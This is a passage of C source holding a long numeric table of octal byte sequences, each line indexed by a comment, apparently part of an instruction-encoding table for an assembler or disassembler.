/* 6891 */ 0240,0203,01,0301,01,0120,0110,022,0,
/* 6900 */ 0241,0203,05,0301,01,0120,0120,023,0,
/* 6909 */ 0240,0203,05,0301,01,0120,0110,022,0,
/* 6918 */ 0241,0203,011,0301,01,0120,0120,023,0,
/* 6927 */ 0240,0203,011,0301,01,0120,0110,022,0,
/* 6936 */ 0241,0203,021,0306,01,0121,0120,023,0,
/* 6945 */ 0240,0203,021,0306,01,0121,0110,022,0,
/* 6954 */ 0241,0203,01,0306,01,0121,0120,023,0,
/* 6963 */ 0240,0203,01,0306,01,0121,0110,022,0,
/* 6972 */ 0250,0203,021,0301,01,0126,0110,022,0,
/* 6981 */ 0250,0203,025,0301,01,0126,0110,022,0,
/* 6990 */ 0250,0203,031,0301,01,0126,0110,022,0,
/* 6999 */ 0250,0203,01,0301,01,0126,0110,022,0,
/* 7008 */ 0250,0203,05,0301,01,0126,0110,022,0,
/* 7017 */ 0250,0203,011,0301,01,0126,0110,022,0,
/* 7026 */ 0241,0203,021,0306,01,0127,0120,023,0,
/* 7035 */ 0240,0203,021,0306,01,0127,0110,022,0,
/* 7044 */ 0241,0203,01,0306,01,0127,0120,023,0,
/* 7053 */ 0240,0203,01,0306,01,0127,0110,022,0,
/* 7062 */ 0250,0203,021,0301,01,011,0110,022,0,
/* 7071 */ 0250,0203,025,0301,01,011,0110,022,0,
/* 7080 */ 0250,0203,031,0301,01,011,0110,022,0,
/* 7089 */ 0250,0203,01,0301,01,010,0110,022,0,
/* 7098 */ 0250,0203,05,0301,01,010,0110,022,0,
/* 7107 */ 0250,0203,011,0301,01,010,0110,022,0,
/* 7116 */ 0241,0203,021,0306,01,013,0120,023,0,
/* 7125 */ 0240,0203,021,0306,01,013,0110,022,0,
/* 7134 */ 0241,0203,01,0306,01,012,0120,023,0,
/* 7143 */ 0240,0203,01,0306,01,012,0110,022,0,
/* 7152 */ 0374,0250,0202,021,0306,01,0242,0101,0,
/* 7161 */ 0374,0250,0202,025,0306,01,0242,0101,0,
/* 7170 */ 0375,0250,0202,031,0306,01,0242,0101,0,
/* 7179 */ 0374,0250,0202,01,0306,01,0242,0101,0,
/* 7188 */ 0375,0250,0202,05,0306,01,0242,0101,0,
/* 7197 */ 0376,0250,0202,011,0306,01,0242,0101,0,
/* 7206 */ 0375,0250,0202,031,0306,01,0306,0205,0,
/* 7215 */ 0376,0250,0202,011,0306,01,0306,0205,0,
/* 7224 */ 0376,0250,0202,031,0306,01,0307,0205,0,
/* 7233 */ 0376,0250,0202,011,0306,01,0307,0205,0,
/* 7242 */ 0375,0250,0202,031,0306,01,0306,0206,0,
/* 7251 */ 0376,0250,0202,011,0306,01,0306,0206,0,
/* 7260 */ 0376,0250,0202,031,0306,01,0307,0206,0,
/* 7269 */ 0376,0250,0202,011,0306,01,0307,0206,0,
/* 7278 */ 0374,0250,0202,021,0306,01,0243,0101,0,
/* 7287 */ 0375,0250,0202,025,0306,01,0243,0101,0,
/* 7296 */ 0376,0250,0202,031,0306,01,0243,0101,0,
/* 7305 */ 0374,0250,0202,01,0306,01,0243,0101,0,
/* 7314 */ 0375,0250,0202,05,0306,01,0243,0101,0,
/* 7323 */ 0376,0250,0202,011,0306,01,0243,0101,0,
/* 7332 */ 0241,0203,05,0301,01,043,0120,023,0,
/* 7341 */ 0240,0203,05,0301,01,043,0110,022,0,
/* 7350 */ 0241,0203,011,0301,01,043,0120,023,0,
/* 7359 */ 0240,0203,011,0301,01,043,0110,022,0,
/* 7368 */ 0241,0203,025,0301,01,043,0120,023,0,
/* 7377 */ 0240,0203,025,0301,01,043,0110,022,0,
/* 7386 */ 0241,0203,031,0301,01,043,0120,023,0,
/* 7395 */ 0240,0203,031,0301,01,043,0110,022,0,
/* 7404 */ 0241,0203,05,0301,01,0103,0120,023,0,
/* 7413 */ 0240,0203,05,0301,01,0103,0110,022,0,
/* 7422 */ 0241,0203,011,0301,01,0103,0120,023,0,
/* 7431 */ 0240,0203,011,0301,01,0103,0110,022,0,
/* 7440 */ 0241,0203,025,0301,01,0103,0120,023,0,
/* 7449 */ 0240,0203,025,0301,01,0103,0110,022,0,
/* 7458 */ 0241,0203,031,0301,01,0103,0120,023,0,
/* 7467 */ 0240,0203,031,0301,01,0103,0110,022,0,
/* 7476 */ 0241,0201,021,0301,01,0306,0120,023,0,
/* 7485 */ 0240,0201,021,0301,01,0306,0110,022,0,
/* 7494 */ 0241,0201,025,0301,01,0306,0120,023,0,
/* 7503 */ 0240,0201,025,0301,01,0306,0110,022,0,
/* 7512 */ 0241,0201,031,0301,01,0306,0120,023,0,
/* 7521 */ 0240,0201,031,0301,01,0306,0110,022,0,
/* 7530 */ 0241,0201,0,0301,01,0306,0120,023,0,
/* 7539 */ 0240,0201,0,0301,01,0306,0110,022,0,
/* 7548 */ 0241,0201,04,0301,01,0306,0120,023,0,
/* 7557 */ 0240,0201,04,0301,01,0306,0110,022,0,
/* 7566 */ 0241,0201,010,0301,01,0306,0120,023,0,
/* 7575 */ 0240,0201,010,0301,01,0306,0110,022,0,
/* 7584 */ 0241,0203,021,0301,01,0317,0120,023,0,
/* 7593 */ 0240,0203,021,0301,01,0317,0110,022,0,
/* 7602 */ 0241,0203,025,0301,01,0317,0120,023,0,
/* 7611 */ 0240,0203,025,0301,01,0317,0110,022,0,
/* 7620 */ 0241,0203,031,0301,01,0317,0120,023,0,
/* 7629 */ 0240,0203,031,0301,01,0317,0110,022,0,
/* 7638 */ 0241,0203,021,0301,01,0316,0120,023,0,
/* 7647 */ 0240,0203,021,0301,01,0316,0110,022,0,
/* 7656 */ 0241,0203,025,0301,01,0316,0120,023,0,
/* 7665 */ 0240,0203,025,0301,01,0316,0110,022,0,
/* 7674 */ 0241,0203,031,0301,01,0316,0120,023,0,
/* 7683 */ 0240,0203,031,0301,01,0316,0110,022,0,
/* 7692 */ 0241,0203,021,0303,01,0160,0120,023,0,
/* 7701 */ 0240,0203,021,0303,01,0160,0110,022,0,
/* 7710 */ 0241,0203,025,0303,01,0160,0120,023,0,
/* 7719 */ 0240,0203,025,0303,01,0160,0110,022,0,
/* 7728 */ 0241,0203,031,0303,01,0160,0120,023,0,
/* 7737 */ 0240,0203,031,0303,01,0160,0110,022,0,
/* 7746 */ 0241,0203,01,0301,01,0161,0120,023,0,
/* 7755 */ 0240,0203,01,0301,01,0161,0110,022,0,
/* 7764 */ 0241,0203,05,0301,01,0161,0120,023,0,
/* 7773 */ 0240,0203,05,0301,01,0161,0110,022,0,
/* 7782 */ 0241,0203,011,0301,01,0161,0120,023,0,
/* 7791 */ 0240,0203,011,0301,01,0161,0110,022,0,
/* 7800 */ 0241,0203,021,0301,01,0161,0120,023,0,
/* 7809 */ 0240,0203,021,0301,01,0161,0110,022,0,
/* 7818 */ 0241,0203,025,0301,01,0161,0120,023,0,
/* 7827 */ 0240,0203,025,0301,01,0161,0110,022,0,
/* 7836 */ 0241,0203,031,0301,01,0161,0120,023,0,
/* 7845 */ 0240,0203,031,0301,01,0161,0110,022,0,
/* 7854 */ 0241,0202,021,0303,01,0160,0120,023,0,
/* 7863 */ 0240,0202,021,0303,01,0160,0110,022,0,
/* 7872 */ 0241,0202,025,0303,01,0160,0120,023,0,
/* 7881 */ 0240,0202,025,0303,01,0160,0110,022,0,
/* 7890 */ 0241,0202,031,0303,01,0160,0120,023,0,
/* 7899 */ 0240,0202,031,0303,01,0160,0110,022,0,
/* 7908 */ 0241,0202,01,0301,01,0161,0120,023,0,
/* 7917 */ 0240,0202,01,0301,01,0161,0110,022,0,
/* 7926 */ 0241,0202,05,0301,01,0161,0120,023,0,
/* 7935 */ 0240,0202,05,0301,01,0161,0110,022,0,
/* 7944 */ 0241,0202,011,0301,01,0161,0120,023,0,
/* 7953 */ 0240,0202,011,0301,01,0161,0110,022,0,
/* 7962 */ 0241,0202,021,0301,01,0161,0120,023,0,
/* 7971 */ 0240,0202,021,0301,01,0161,0110,022,0,
/* 7980 */ 0241,0202,025,0301,01,0161,0120,023,0,
/* 7989 */ 0240,0202,025,0301,01,0161,0110,022,0,
/* 7998 */ 0241,0202,031,0301,01,0161,0120,023,0,
/* 8007 */ 0240,0202,031,0301,01,0161,0110,022,0,
/* 8016 */ 0241,0203,021,0303,01,0162,0120,023,0,
/* 8025 */ 0240,0203,021,0303,01,0162,0110,022,0,
/* 8034 */ 0241,0203,025,0303,01,0162,0120,023,0,
/* 8043 */ 0240,0203,025,0303,01,0162,0110,022,0,
/* 8052 */ 0241,0203,031,0303,01,0162,0120,023,0,
/* 8061 */ 0240,0203,031,0303,01,0162,0110,022,0,
/* 8070 */ 0241,0203,01,0301,01,0163,0120,023,0,
/* 8079 */ 0240,0203,01,0301,01,0163,0110,022,0,
/* 8088 */ 0241,0203,05,0301,01,0163,0120,023,0,
/* 8097 */ 0240,0203,05,0301,01,0163,0110,022,0,
/* 8106 */ 0241,0203,011,0301,01,0163,0120,023,0,
/* 8115 */ 0240,0203,011,0301,01,0163,0110,022,0,
/* 8124 */ 0241,0203,021,0301,01,0163,0120,023,0,
/* 8133 */ 0240,0203,021,0301,01,0163,0110,022,0,
/* 8142 */ 0241,0203,025,0301,01,0163,0120,023,0,
/* 8151 */ 0240,0203,025,0301,01,0163,0110,022,0,
/* 8160 */ 0241,0203,031,0301,01,0163,0120,023,0,
/* 8169 */ 0240,0203,031,0301,01,0163,0110,022,0,
/* 8178 */ 0241,0202,021,0303,01,0162,0120,023,0,
/* 8187 */ 0240,0202,021,0303,01,0162,0110,022,0,
/* 8196 */ 0241,0202,025,0303,01,0162,0120,023,0,
/* 8205 */ 0240,0202,025,0303,01,0162,0110,022,0,
/* 8214 */ 0241,0202,031,0303,01,0162,0120,023,0,
/* 8223 */ 0240,0202,031,0303,01,0162,0110,022,0,
/* 8232 */ 0241,0202,01,0301,01,0163,0120,023,0,
/* 8241 */ 0240,0202,01,0301,01,0163,0110,022,0,
/* 8250 */ 0241,0202,05,0301,01,0163,0120,023,0,
/* 8259 */ 0240,0202,05,0301,01,0163,0110,022,0,
/* 8268 */ 0241,0202,011,0301,01,0163,0120,023,0,
/* 8277 */ 0240,0202,011,0301,01,0163,0110,022,0,
/* 8286 */ 0241,0202,021,0301,01,0163,0120,023,0,
/* 8295 */ 0240,0202,021,0301,01,0163,0110,022,0,
/* 8304 */ 0241,0202,025,0301,01,0163,0120,023,0,
/* 8313 */ 0240,0202,025,0301,01,0163,0110,022,0,
/* 8322 */ 0241,0202,031,0301,01,0163,0120,023,0,
/* 8331 */ 0240,0202,031,0301,01,0163,0110,022,0,
/* 8340 */ 0273,0320,02,017,0272,0207,025,0,
/* 8348 */ 0273,0321,02,017,0272,0207,025,0,
/* 8356 */ 0273,0324,02,017,0272,0207,025,0,
/* 8364 */ 0273,0320,02,017,0272,0206,025,0,
/* 8372 */ 0273,0321,02,017,0272,0206,025,0,
/* 8380 */ 0273,0324,02,017,0272,0206,025,0,
/* 8388 */ 0273,0320,02,017,0272,0205,025,0,
/* 8396 */ 0273,0321,02,017,0272,0205,025,0,
/* 8404 */ 0273,0324,02,017,0272,0205,025,0,
/* 8412 */ 0323,02,017,017,0110,01,0277,0,
/* 8420 */ 0323,02,017,017,0110,01,035,0,
/* 8428 */ 0323,02,017,017,0110,01,0256,0,
/* 8436 */ 0323,02,017,017,0110,01,0236,0,
/* 8444 */ 0323,02,017,017,0110,01,0260,0,
/* 8452 */ 0323,02,017,017,0110,01,0220,0,
/* 8460 */ 0323,02,017,017,0110,01,0240,0,
/* 8468 */ 0323,02,017,017,0110,01,0244,0,
/* 8476 */ 0323,02,017,017,0110,01,0224,0,
/* 8484 */ 0323,02,017,017,0110,01,0264,0,
/* 8492 */ 0323,02,017,017,0110,01,0226,0,
/* 8500 */ 0323,02,017,017,0110,01,0246,0,
/* 8508 */ 0323,02,017,017,0110,01,0266,0,
/* 8516 */ 0323,02,017,017,0110,01,0247,0,
/* 8524 */ 0323,02,017,017,0110,01,0227,0,
/* 8532 */ 0323,02,017,017,0110,01,0232,0,
/* 8540 */ 0323,02,017,017,0110,01,0252,0,
/* 8548 */ 0323,02,017,017,0110,01,015,0,
/* 8556 */ 0323,02,017,017,0110,01,0267,0,
/* 8564 */ 0360,02,017,0302,0110,01,0,0,
/* 8572 */ 0333,02,017,0302,0110,01,0,0,
/* 8580 */ 0360,02,017,0302,0110,01,02,0,
/* 8588 */ 0333,02,017,0302,0110,01,02,0,
/* 8596 */ 0360,02,017,0302,0110,01,01,0,
/* 8604 */ 0333,02,017,0302,0110,01,01,0,
/* 8612 */ 0360,02,017,0302,0110,01,04,0,
/* 8620 */ 0333,02,017,0302,0110,01,04,0,
/* 8628 */ 0360,02,017,0302,0110,01,06,0,
/* 8636 */ 0333,02,017,0302,0110,01,06,0,
/* 8644 */ 0360,02,017,0302,0110,01,05,0,
/* 8652 */ 0333,02,017,0302,0110,01,05,0,
/* 8660 */ 0360,02,017,0302,0110,01,07,0,
/* 8668 */ 0333,02,017,0302,0110,01,07,0,
/* 8676 */ 0360,02,017,0302,0110,01,03,0,
/* 8684 */ 0333,02,017,0302,0110,01,03,0,
/* 8692 */ 0360,0323,02,017,0160,0110,022,0,
/* 8700 */ 0323,02,017,017,0110,01,034,0,
/* 8708 */ 0323,02,017,017,0110,01,0212,0,
/* 8716 */ 0323,02,017,017,0110,01,0216,0,
/* 8724 */ 0323,02,017,017,0110,01,014,0,
/* 8732 */ 0323,02,017,017,0110,01,0273,0,
/* 8740 */ 0361,02,017,0302,0110,01,0,0,
/* 8748 */ 0332,02,017,0302,0110,01,0,0,
/* 8756 */ 0361,02,017,0302,0110,01,02,0,
/* 8764 */ 0332,02,017,0302,0110,01,02,0,
/* 8772 */ 0361,02,017,0302,0110,01,01,0,
/* 8780 */ 0332,02,017,0302,0110,01,01,0,
/* 8788 */ 0361,02,017,0302,0110,01,04,0,
/* 8796 */ 0332,02,017,0302,0110,01,04,0,
/* 8804 */ 0361,02,017,0302,0110,01,06,0,
/* 8812 */ 0332,02,017,0302,0110,01,06,0,
/* 8820 */ 0361,02,017,0302,0110,01,05,0,
/* 8828 */ 0332,02,017,0302,0110,01,05,0,
/* 8836 */ 0361,02,017,0302,0110,01,07,0,
/* 8844 */ 0332,02,017,0302,0110,01,07,0,
/* 8852 */ 0361,02,017,0302,0110,01,03,0,
/* 8860 */ 0332,02,017,0302,0110,01,03,0,
/* 8868 */ 0323,0361,03,017,070,0200,0110,0,
/* 8876 */ 0323,0361,03,017,070,0201,0110,0,
/* 8884 */ 0360,03,017,072,017,0110,026,0,
/* 8892 */ 0361,03,017,072,017,0110,026,0,
/* 8900 */ 0361,02,017,0170,0200,025,026,0,
/* 8908 */ 0332,02,017,0170,0110,026,027,0,
/* 8916 */ 0361,03,017,072,015,0110,026,0,
/* 8924 */ 0361,03,017,072,014,0110,026,0,
/* 8932 */ 0361,03,017,072,0101,0110,026,0,
/* 8940 */ 0361,03,017,072,0100,0110,026,0,
/* 8948 */ 0361,03,017,072,041,0110,026,0,
/* 8956 */ 0361,03,017,072,0102,0110,026,0,
/* 8964 */ 0361,03,017,072,016,0110,026,0,
/* 8972 */ 0361,03,017,072,011,0110,026,0,
/* 8980 */ 0361,03,017,072,010,0110,026,0,
/* 8988 */ 0361,03,017,072,013,0110,026,0,
/* 8996 */ 0361,03,017,072,012,0110,026,0,
/* 9004 */ 0320,0332,03,017,070,0361,0110,0,
/* 9012 */ 0321,0332,03,017,070,0361,0110,0,
/* 9020 */ 0324,0332,03,017,070,0360,0110,0,
/* 9028 */ 0324,0332,03,017,070,0361,0110,0,
/* 9036 */ 0361,03,017,072,0141,0110,026,0,
/* 9044 */ 0361,03,017,072,0140,0110,026,0,
/* 9052 */ 0361,03,017,072,0143,0110,026,0,
/* 9060 */ 0361,03,017,072,0142,0110,026,0,
/* 9068 */ 0323,02,017,017,0110,01,0206,0,
/* 9076 */ 0323,02,017,017,0110,01,0207,0,
/* 9084 */ 0320,0331,03,017,070,0360,0110,0,
/* 9092 */ 0321,0331,03,017,070,0360,0110,0,
/* 9100 */ 0324,0331,03,017,070,0360,0110,0,
/* 9108 */ 0320,0331,03,017,070,0361,0101,0,
/* 9116 */ 0321,0331,03,017,070,0361,0101,0,
/* 9124 */ 0324,0331,03,017,070,0361,0101,0,
/* 9132 */ 0361,03,017,072,0337,0110,022,0,
/* 9140 */ 0270,03,041,01,0337,0110,022,0,
/* 9148 */ 0241,0202,041,0301,01,0334,0120,0,
/* 9156 */ 0240,0202,041,0301,01,0334,0110,0,
/* 9164 */ 0241,0202,045,0301,01,0334,0120,0,
/* 9172 */ 0240,0202,045,0301,01,0334,0110,0,
/* 9180 */ 0241,0202,041,0301,01,0335,0120,0,
/* 9188 */ 0240,0202,041,0301,01,0335,0110,0,
/* 9196 */ 0241,0202,045,0301,01,0335,0120,0,
/* 9204 */ 0240,0202,045,0301,01,0335,0110,0,
/* 9212 */ 0241,0202,041,0301,01,0336,0120,0,
/* 9220 */ 0240,0202,041,0301,01,0336,0110,0,
/* 9228 */ 0241,0202,045,0301,01,0336,0120,0,
/* 9236 */ 0240,0202,045,0301,01,0336,0110,0,
/* 9244 */ 0241,0202,041,0301,01,0337,0120,0,
/* 9252 */ 0240,0202,041,0301,01,0337,0110,0,
/* 9260 */ 0241,0202,045,0301,01,0337,0120,0,
/* 9268 */ 0240,0202,045,0301,01,0337,0110,0,
/* 9276 */ 0241,0202,051,0301,01,0334,0120,0,
/* 9284 */ 0240,0202,051,0301,01,0334,0110,0,
/* 9292 */ 0241,0202,051,0301,01,0335,0120,0,
/* 9300 */ 0240,0202,051,0301,01,0335,0110,0,
/* 9308 */ 0241,0202,051,0301,01,0336,0120,0,
/* 9316 */ 0240,0202,051,0301,01,0336,0110,0,
/* 9324 */ 0241,0202,051,0301,01,0337,0120,0,
/* 9332 */ 0240,0202,051,0301,01,0337,0110,0,
/* 9340 */ 0261,03,041,01,015,0120,023,0,
/* 9348 */ 0260,03,041,01,015,0110,022,0,
/* 9356 */ 0261,03,045,01,015,0120,023,0,
/* 9364 */ 0260,03,045,01,015,0110,022,0,
/* 9372 */ 0261,03,041,01,014,0120,023,0,
/* 9380 */ 0260,03,041,01,014,0110,022,0,
/* 9388 */ 0261,03,045,01,014,0120,023,0,
/* 9396 */ 0260,03,045,01,014,0110,022,0,
/* 9404 */ 0261,03,01,01,0113,0120,0177,0,
/* 9412 */ 0260,03,01,01,0113,0110,0176,0,
/* 9420 */ 0261,03,05,01,0113,0120,0177,0,
/* 9428 */ 0260,03,05,01,0113,0110,0176,0,
/* 9436 */ 0261,03,01,01,0112,0120,0177,0,
/* 9444 */ 0260,03,01,01,0112,0110,0176,0,
/* 9452 */ 0261,03,05,01,0112,0120,0177,0,
/* 9460 */ 0260,03,05,01,0112,0110,0176,0,
/* 9468 */ 0261,01,041,01,0302,0120,023,0,
/* 9476 */ 0260,01,041,01,0302,0110,022,0,
/* 9484 */ 0261,01,045,01,0302,0120,023,0,
/* 9492 */ 0260,01,045,01,0302,0110,022,0,
/* 9500 */ 0261,01,040,01,0302,0120,023,0,
/* 9508 */ 0260,01,040,01,0302,0110,022,0,
/* 9516 */ 0261,01,044,01,0302,0120,023,0,
/* 9524 */ 0260,01,044,01,0302,0110,022,0,
/* 9532 */ 0261,01,053,01,0302,0120,023,0,
/* 9540 */ 0260,01,053,01,0302,0110,022,0,
/* 9548 */ 0261,01,052,01,0302,0120,023,0,
/* 9556 */ 0260,01,052,01,0302,0110,022,0,
/* 9564 */ 0261,03,041,01,0101,0120,023,0,
/* 9572 */ 0260,03,041,01,0101,0110,022,0,
/* 9580 */ 0261,03,041,01,0100,0120,023,0,
/* 9588 */ 0260,03,041,01,0100,0110,022,0,
/* 9596 */ 0261,03,045,01,0100,0120,023,0,
/* 9604 */ 0260,03,045,01,0100,0110,022,0,
/* 9612 */ 0270,03,05,01,031,0101,022,0,
/* 9620 */ 0270,03,041,01,027,0101,022,0,
/* 9628 */ 0261,03,05,01,030,0120,023,0,
/* 9636 */ 0260,03,05,01,030,0110,022,0,
/* 9644 */ 0261,03,041,01,041,0120,023,0,
/* 9652 */ 0260,03,041,01,041,0110,022,0,
/* 9660 */ 0261,03,041,01,0102,0120,023,0,
/* 9668 */ 0260,03,041,01,0102,0110,022,0,
/* 9676 */ 0261,03,041,01,017,0120,023,0,
/* 9684 */ 0260,03,041,01,017,0110,022,0,
/* 9692 */ 0261,03,01,01,0114,0120,0177,0,
/* 9700 */ 0260,03,01,01,0114,0110,0176,0,
/* 9708 */ 0261,03,041,01,016,0120,023,0,
/* 9716 */ 0260,03,041,01,016,0110,022,0,
/* 9724 */ 0270,03,041,01,0141,0110,022,0,
/* 9732 */ 0270,03,041,01,0140,0110,022,0,
/* 9740 */ 0270,03,041,01,0143,0110,022,0,
/* 9748 */ 0270,03,041,01,0142,0110,022,0,
/* 9756 */ 0270,03,01,01,05,0110,022,0,
/* 9764 */ 0270,03,05,01,05,0110,022,0,
/* 9772 */ 0270,03,01,01,04,0110,022,0,
/* 9780 */ 0270,03,05,01,04,0110,022,0,
/* 9788 */ 0261,03,05,01,06,0120,023,0,
/* 9796 */ 0260,03,05,01,06,0110,022,0,
/* 9804 */ 0270,03,01,01,024,0101,022,0,
/* 9812 */ 0270,01,01,01,0305,0110,022,0,
/* 9820 */ 0270,03,01,01,025,0101,022,0,
/* 9828 */ 0270,03,01,01,026,0101,022,0,
/* 9836 */ 0270,03,021,01,026,0101,022,0,
/* 9844 */ 0261,03,041,01,040,0120,023,0,
/* 9852 */ 0260,03,041,01,040,0110,022,0,
/* 9860 */ 0261,01,041,01,0304,0120,023,0,
/* 9868 */ 0260,01,041,01,0304,0110,022,0,
/* 9876 */ 0261,03,01,01,042,0120,023,0,
/* 9884 */ 0260,03,01,01,042,0110,022,0,
/* 9892 */ 0261,03,021,01,042,0120,023,0,
/* 9900 */ 0260,03,021,01,042,0110,022,0,
/* 9908 */ 0270,01,041,01,0160,0110,022,0,
/* 9916 */ 0270,01,042,01,0160,0110,022,0,
/* 9924 */ 0270,01,043,01,0160,0110,022,0,
/* 9932 */ 0260,01,041,01,0163,0217,022,0,
/* 9940 */ 0260,01,041,01,0163,0207,021,0,
/* 9948 */ 0260,01,041,01,0163,0213,022,0,
/* 9956 */ 0260,01,041,01,0163,0203,021,0,
/* 9964 */ 0260,01,041,01,0161,0216,022,0,
/* 9972 */ 0260,01,041,01,0161,0206,021,0,
/* 9980 */ 0260,01,041,01,0162,0216,022,0,
/* 9988 */ 0260,01,041,01,0162,0206,021,0,
/* 9996 */ 0260,01,041,01,0163,0216,022,0,
/* 10004 */ 0260,01,041,01,0163,0206,021,0,
/* 10012 */ 0260,01,041,01,0161,0214,022,0,
/* 10020 */ 0260,01,041,01,0161,0204,021,0,
/* 10028 */ 0260,01,041,01,0162,0214,022,0,
/* 10036 */ 0260,01,041,01,0162,0204,021,0,
/* 10044 */ 0260,01,041,01,0161,0212,022,0,
/* 10052 */ 0260,01,041,01,0161,0202,021,0,
/* 10060 */ 0260,01,041,01,0162,0212,022,0,
/* 10068 */ 0260,01,041,01,0162,0202,021,0,
/* 10076 */ 0260,01,041,01,0163,0212,022,0,
/* 10084 */ 0260,01,041,01,0163,0202,021,0,
/* 10092 */ 0270,03,041,01,011,0110,022,0,
/* 10100 */ 0270,03,045,01,011,0110,022,0,
/* 10108 */ 0270,03,041,01,010,0110,022,0,
/* 10116 */ 0270,03,045,01,010,0110,022,0,
/* 10124 */ 0261,03,041,01,013,0120,023,0,
/* 10132 */ 0260,03,041,01,013,0110,022,0,
/* 10140 */ 0261,03,041,01,012,0120,023,0,
/* 10148 */ 0260,03,041,01,012,0110,022,0,
/* 10156 */ 0261,01,041,01,0306,0120,023,0,
/* 10164 */ 0260,01,041,01,0306,0110,022,0,
/* 10172 */ 0261,01,045,01,0306,0120,023,0,
/* 10180 */ 0260,01,045,01,0306,0110,022,0,
/* 10188 */ 0261,01,040,01,0306,0120,023,0,
/* 10196 */ 0260,01,040,01,0306,0110,022,0,
/* 10204 */ 0261,01,044,01,0306,0120,023,0,
/* 10212 */ 0260,01,044,01,0306,0110,022,0,
/* 10220 */ 0361,03,017,072,0104,0110,022,0,
/* 10228 */ 0261,03,041,01,0104,0120,023,0,
/* 10236 */ 0260,03,041,01,0104,0110,022,0,
/* 10244 */ 0261,03,045,01,0104,0120,023,0,
/* 10252 */ 0260,03,045,01,0104,0110,022,0,
/* 10260 */ 0270,03,05,01,035,0101,022,0,
/* 10268 */ 0270,03,01,01,035,0101,022,0,
/* 10276 */ 0317,0361,03,017,070,0366,0110,0,
/* 10284 */ 0324,0361,03,017,070,0366,0110,0,
/* 10292 */ 0317,0333,03,017,070,0366,0110,0,
/* 10300 */ 0324,0333,03,017,070,0366,0110,0,
/* 10308 */ 0260,0112,0,01,022,0211,042,0,
/* 10316 */ 0260,0112,020,01,022,0211,042,0,
/* 10324 */ 0260,0112,0,01,022,0210,042,0,
/* 10332 */ 0260,0112,020,01,022,0210,042,0,
/* 10340 */ 0261,03,01,01,0151,0120,0177,0,
/* 10348 */ 0260,03,01,01,0151,0110,0176,0,
/* 10356 */ 0261,03,05,01,0151,0120,0177,0,
/* 10364 */ 0260,03,05,01,0151,0110,0176,0,
/* 10372 */ 0261,03,021,01,0151,0130,0176,0,
/* 10380 */ 0260,03,021,01,0151,0120,0175,0,
/* 10388 */ 0261,03,025,01,0151,0130,0176,0,
/* 10396 */ 0260,03,025,01,0151,0120,0175,0,
/* 10404 */ 0261,03,01,01,0150,0120,0177,0,
/* 10412 */ 0260,03,01,01,0150,0110,0176,0,
/* 10420 */ 0261,03,05,01,0150,0120,0177,0,
/* 10428 */ 0260,03,05,01,0150,0110,0176,0,
/* 10436 */ 0261,03,021,01,0150,0130,0176,0,
/* 10444 */ 0260,03,021,01,0150,0120,0175,0,
/* 10452 */ 0261,03,025,01,0150,0130,0176,0,
/* 10460 */ 0260,03,025,01,0150,0120,0175,0,
/* 10468 */ 0261,03,01,01,0153,0120,0177,0,
/* 10476 */ 0260,03,01,01,0153,0110,0176,0,
/* 10484 */ 0261,03,021,01,0153,0130,0176,0,
/* 10492 */ 0260,03,021,01,0153,0120,0175,0,
/* 10500 */ 0261,03,01,01,0152,0120,0177,0,
/* 10508 */ 0260,03,01,01,0152,0110,0176,0,
/* 10516 */ 0261,03,021,01,0152,0130,0176,0,
/* 10524 */ 0260,03,021,01,0152,0120,0175,0,
/* 10532 */ 0261,03,01,01,0135,0120,0177,0,
/* 10540 */ 0260,03,01,01,0135,0110,0176,0,
/* 10548 */ 0261,03,05,01,0135,0120,0177,0,
/* 10556 */ 0260,03,05,01,0135,0110,0176,0,
/* 10564 */ 0261,03,021,01,0135,0130,0176,0,
/* 10572 */ 0260,03,021,01,0135,0120,0175,0,
/* 10580 */ 0261,03,025,01,0135,0130,0176,0,
/* 10588 */ 0260,03,025,01,0135,0120,0175,0,
/* 10596 */ 0261,03,01,01,0134,0120,0177,0,
/* 10604 */ 0260,03,01,01,0134,0110,0176,0,
/* 10612 */ 0261,03,05,01,0134,0120,0177,0,
/* 10620 */ 0260,03,05,01,0134,0110,0176,0,
/* 10628 */ 0261,03,021,01,0134,0130,0176,0,
/* 10636 */ 0260,03,021,01,0134,0120,0175,0,
/* 10644 */ 0261,03,025,01,0134,0130,0176,0,
/* 10652 */ 0260,03,025,01,0134,0120,0175,0,
/* 10660 */ 0261,03,01,01,0137,0120,0177,0,
/* 10668 */ 0260,03,01,01,0137,0110,0176,0,
/* 10676 */ 0261,03,05,01,0137,0120,0177,0,
/* 10684 */ 0260,03,05,01,0137,0110,0176,0,
/* 10692 */ 0261,03,021,01,0137,0130,0176,0,
/* 10700 */ 0260,03,021,01,0137,0120,0175,0,
/* 10708 */ 0261,03,025,01,0137,0130,0176,0,
/* 10716 */ 0260,03,025,01,0137,0120,0175,0,
/* 10724 */ 0261,03,01,01,0136,0120,0177,0,
/* 10732 */ 0260,03,01,01,0136,0110,0176,0,
/* 10740 */ 0261,03,05,01,0136,0120,0177,0,
/* 10748 */ 0260,03,05,01,0136,0110,0176,0,
/* 10756 */ 0261,03,021,01,0136,0130,0176,0,
/* 10764 */ 0260,03,021,01,0136,0120,0175,0,
/* 10772 */ 0261,03,025,01,0136,0130,0176,0,
/* 10780 */ 0260,03,025,01,0136,0120,0175,0,
/* 10788 */ 0261,03,01,01,0155,0120,0177,0,
/* 10796 */ 0260,03,01,01,0155,0110,0176,0,
/* 10804 */ 0261,03,05,01,0155,0120,0177,0,
/* 10812 */ 0260,03,05,01,0155,0110,0176,0,
/* 10820 */ 0261,03,021,01,0155,0130,0176,0,
/* 10828 */ 0260,03,021,01,0155,0120,0175,0,
/* 10836 */ 0261,03,025,01,0155,0130,0176,0,
/* 10844 */ 0260,03,025,01,0155,0120,0175,0,
/* 10852 */ 0261,03,01,01,0154,0120,0177,0,
/* 10860 */ 0260,03,01,01,0154,0110,0176,0,
/* 10868 */ 0261,03,05,01,0154,0120,0177,0,
/* 10876 */ 0260,03,05,01,0154,0110,0176,0,
/* 10884 */ 0261,03,021,01,0154,0130,0176,0,
/* 10892 */ 0260,03,021,01,0154,0120,0175,0,
/* 10900 */ 0261,03,025,01,0154,0130,0176,0,
/* 10908 */ 0260,03,025,01,0154,0120,0175,0,
/* 10916 */ 0261,03,01,01,0157,0120,0177,0,
/* 10924 */ 0260,03,01,01,0157,0110,0176,0,
/* 10932 */ 0261,03,021,01,0157,0130,0176,0,
/* 10940 */ 0260,03,021,01,0157,0120,0175,0,
/* 10948 */ 0261,03,01,01,0156,0120,0177,0,
/* 10956 */ 0260,03,01,01,0156,0110,0176,0,
/* 10964 */ 0261,03,021,01,0156,0130,0176,0,
/* 10972 */ 0260,03,021,01,0156,0120,0175,0,
